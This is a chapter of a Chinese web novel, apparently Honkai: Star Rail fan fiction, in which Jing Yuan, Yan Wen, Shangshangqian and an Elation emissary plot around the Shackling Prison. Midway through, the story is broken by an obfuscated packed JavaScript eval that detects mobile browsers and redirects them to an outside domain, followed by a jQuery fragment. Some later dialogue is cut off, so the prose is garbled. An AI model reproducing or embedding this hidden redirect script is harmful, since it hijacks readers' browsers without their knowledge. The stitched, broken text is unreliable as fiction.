22. 第 22 章

作品:《在各命途之间反复横跳

    其实一个坐标也分析不出来什么,更没什么好分析的,唯一的结果就是迷茫的一个人变成了两个。


    “我怎么感觉只有我在惴惴不安……”晏吻弱弱地说。


    “哪有,我也很不安啊。”


    “景元的嘴,骗人的鬼!”


    “哎哎,说话要讲证据。”


    “……”


    “……”


    两人忽然一起陷入沉默,谁也不知道这见鬼的青梅竹马默契为什么此刻生效。


    “咳”,沉默中晏吻咳嗽了一声起身,“反正坐标我告诉你了,等演武仪典结束,我就去找我哥,你万事小心,我随你差遣。”


    景元:“真的?”


    晏吻:“假的。”


    景元:“……”


    晏吻:“……你说。”


    “你去当个观众如何?”景元展颜明快地笑,摸着下巴不知道在计划着什么。


    晏吻捧脸:“哇~元宝贝你是让我去当观众还是去保护观众呀?”


    “唔,给你免衣食住行还有票钱,不行吗?”


    “成交!”


    她说着摇摇手中的玉兆:“给你发送好友申请了,记得加我哦神策将军~”


    之后她像变戏法般往脸上一抹,就变成了景元身边的青镞的模样,大摇大摆地走了出去。


    景元:“……”她是想暗示我神策府的安保不行吗?


    晏吻离开后,景元没有动,他独自坐在休息室里,盯着桌上被扯下的桃花。


    严格来说,晏吻应该属于天风君也就是居住在曜青的持明一脉,但奈何她与晏冥一起被捡回罗浮后,她铁了心要跟着晏冥,谁也拉不走,所以就被罗浮的持明族收了。


    这小姑娘刚到罗浮时,刚蜕生没多久,话都说不清,只抱着晏冥的腰,含含糊糊地喊“重要哥哥 ”,不停的哭,也不知道蜕生前究竟发生了什么。


    不过幸好她那时没有暴露转世后能保留部分记忆的事,不然被那群龙师盯上可惨了。


    哦,也不对,那时有丹枫在,龙师应该也搞不出什么事。而且丹枫十分欣赏把龙师搞得不想活的晏吻,偏袒都放到明面上。


    想起往事,景元不自觉嘴上扬起笑容,但很快他又耷拉下嘴,十王……


    罗浮动乱后,各种事情桩桩件件好像都离不开“晏冥”,仿佛有一只无形的手把晏冥拽到他跟前。


    墨迟究竟是如何知道晏冥在幽囚狱中?那个在墨迟背后推动一切的人是不是晏冥加入十王司的原因呢?晏冥究竟是怎么成为虚构史学家的,在那之前有他又经历了什么……


    晏吻了解晏冥,他又何尝不是。


    更何况晏冥可是习剑的啊,从剑法中看到的只会更多。


    形而上者谓之道,形而下者谓之器,剑之道如果走到极致,便不仅仅是“人所带兵也”那么简单。


    晏吻说晏冥瞻前顾后,不完全对。


    他见过晏冥解决对手的样子,完全不勾勾弯弯,一招制敌,干脆利落。


    明明晏家夫妇没有一个会用剑,但他就是无师自通把剑舞出了自己的风格。


    他无疑是用剑的奇才,剑影出鞘,斩碎敌人一切的警惕傲慢,从中划出天才与凡人的界限。


    如果晏冥动手,他一定会选用最快速直接的方法,所以在他眼里,入十王司是必须的,为此他不惜把晏冥的身份给了上上签。


    而上上签这次在罗浮现身,很大一部分原因是害怕十王司中有人对罗浮、对他不利吧。


    只是可惜,上上签似乎并没有与他互通情报的打算。


    “唉,万事长个嘴呀……”


    感叹了一半,休息室的门被敲响,青镞的声音在门外响起:“景元,你再不出来工作,今天的公文铁定批不完!”


    “好了,这就来。”景元叹了口气起身。


    公文如韭菜,一茬一茬的长,怎么也处理不完啊。


    ——


    “这就是罗浮的幽囚狱?”


    “怎么,你还去过其他幽囚狱?”


    “嗯,去过曜青的……不过,你带我这么进来真的好吗?”


    “最近来的人多,也不差你这一个。”


    上上签引着一个人向前走,路过武弁判官时,没有一个人扭头看他们,哪怕他领着的人十分出众。


    ——那个人身着锦缎和掛毯状面料制成的鲜艳衣物,褐色的皮肤,在眉心处坠着颗如血滴艳红的宝石,白色短发凌乱,淡紫的发尾翘起。


    他脖子上还挂着一个巨大的红皮果实,左肩立着一只青色嘴很大的鸟,两个衣着华丽的没有脸的小木偶坐在他右肩。


    “这是障眼法吗?”见路过的人瞧都不瞧他们地越过他们,他很正经地发问。


    “嗯,都是你们欢愉玩剩下的。”上上签表情寡淡。


    对方声音也没什么起伏:“我不会,但晏吻的朋友花火会,她很喜欢笑,晏吻也喜欢笑,我不经常笑,我与她们不一样。”


    上上签:“……嗯,那挺好,挺好。”


    一股名为尴尬的气氛弥漫在两人之间,但偏偏其中一个人还感觉不到。


    “你刚才说了两个‘挺好’,是在强调吗?”


    上上签:“……是。”


    他没想到堂堂欢愉令使月鹿魃竟然是这样一个画风,什么时候假面愚者这么的,纯良?


    见月鹿魃又要开口,而正好走到了地方,上上签先声夺人,打断月鹿魃展现语言艺术的机会。


    “就这里吧,一点旱气,不要太明显,让持明的云吟术露出破绽就可以了。”


    “哦”,月鹿魃把想说的话咽下去,重新发起了另外一个问题,“我觉得这种事我不做也可以,你是不是在画多脚蛇。”


    “你是像说画蛇添足吗?”上上签问,“我确实可以自己来,但会产生许多麻烦,我讨厌麻烦。”


    这是谎话,幽囚狱是他的地盘,随便制造点陷阱让持明、步离人露出马脚还不简单?但他要留住月鹿魃,在彻底搞清他的来历前,他不会轻易放走他。


    月鹿魃:“哦,其他的不用管吗?”


    上上签:“不用,相信景元。我们的主要目的是证明景元不是失职,而是不能管。至少要让方壶那位将军知道他的良苦用心。”


    听信星核猎手的预言,将解决危机的重任交予外人,只需要列车团作证,再由两位将军和十王司将景元计划的详细情况上报于联盟,便能迎刃而解。


    而演武典仪……看这回来的两位将军,景元应该自有打算。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13658576|144023||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    整件事最麻烦的是他不小心算到了那位爻光将军的行程,还要写份报告说明,以及后续一系列连续触发式问题……


    所以做人不能手贱,就不能在这个节骨眼上算什么暗中潜入仙舟的人,算到了也应该尽早停手,而不是继续推演此人的行动轨迹,最后算到了玉阙的将军府。


    布置的差不多,上上签揉揉太阳穴:“谢了,我已经给你安排好了住处。”


    谁知月鹿魃摇头:“我有游客的身份,我是合法入境。”


    上上签惊异:“用月鹿魃这个身份?”


    月鹿魃又摇头:“以一位服装设计师的身份来罗浮旅游。”


    上上签:“……”用假身份合法入境,你真当这是合法?


    “好吧”,上上签无奈说,“如果有什么需要还请联系我。”


    谁知月鹿魃立在原地不动了,蓝金色的眼睛直勾勾盯着上上签。


    上上签有些不自在,月鹿魃的眼神并不是审视,也不带着什么冰冷的情绪,让他来说这更像是惊喜和孺慕?


    他瞬即打了个颤抖,这欢愉令使不知今年贵庚,如何称得上孺慕一词?


    他干笑几声:“月兄可还有什么疑问?”


    “‘还’。”


    上上签:“?……”


    “也就是还可以找其他人。”


    上上签:“……”他哪里说了?!这人说话他怎么听不懂。不对,是不是那句“还请联系我”的锅?


    “不可以,只能来找我。”没察觉到自己有什么语法上的错误,上上签只能如长辈般严肃警告。


    “哦,那我有需要”,月鹿魃说,“首先为了我不会被驱逐出境,你要叫我席尔坦兄,最后我想要优惠券。”


    “好的,我去帮你找。”你快走吧!上上签心累。


    把月鹿魃送出鳞渊境,上上签又返回了幽囚狱。


    云以居得到了消息匆匆赶来。


    明面上,他一把搂住上上签的肩,笑嘻嘻的:“什么风把你又吹回来了?”


    暗地里却是把上上签的头压下去,小声问:“有什么指示?”


    上上签被他拖着往前走,嘴唇不动却发出声音:“算到了一些东西,以防万一,回来搞一些布置。”


    迎面走来一队武弁,云以居活泼地向他们招手,武弁冷淡地点头,与他们擦肩而过。


    看他们走远了,云以居才低声说:“人都盯着呢,还能有什么变数?”


    末了他想了想,补充道:“对了,还有演武典仪,曜青要来看呼雷。”


    上上签递给他一个孺子可教也的眼神:e on,少年。”


    “所以你要做什么布置?”


    虽然他不知道上上签说的是从哪学来的语言,但有联觉信标在,他知道那是在给他加油。


    没能看到云以居露出疑惑的表情,上上签有些失望,但还是笑道:“给晏冥一把剑。”


    一把剑,足以决定最终的局面。


    他被云以居猛地扯住领子往后一拽,侧头就看见对方审视的眼神。


    “你是不是对晏冥太过信任了?”


    “云以居,他是我啊”,上上签近乎叹息,“只要是我,绝不会做出有害于罗浮的事。”